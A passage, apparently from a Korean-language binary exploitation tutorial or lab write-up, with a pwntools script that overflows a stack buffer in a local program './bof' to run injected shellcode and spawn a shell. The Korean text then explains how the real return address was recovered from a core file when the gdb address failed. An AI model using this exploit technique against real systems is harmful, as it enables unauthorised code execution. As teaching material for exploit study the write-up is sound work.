from pwn import*# Load the binarybinary_name ='./bof'elf = context.binary =ELF(binary_name)# Generate shellcodeshellcode =asm(shellcraft.sh())# Start the processp =process(binary_name)# Offset to return addressoffset =72# Address in the stack after the return addressret_address =p64(0xfffffffff1a0)# Craft the payloadpayload =b'A'* offset + ret_address + shellcodeprint("Payload length: "+str(len(payload)))# Send the payloadp.send(payload)# Drop to an interactive sessionp.interactive()
다음으로 호출할 스택 내 주소를 찾는 것이 유일하게 "복잡"할 수 있는 부분입니다. 제 경우 gdb를 사용하여 찾은 주소로 exploit을 생성했지만, exploit을 시도할 때 작동하지 않았습니다 (스택 주소가 약간 변경되었기 때문입니다).
생성된 core 파일 (gdb ./bog ./core)을 열고 쉘코드 시작 주소의 실제 주소를 확인했습니다.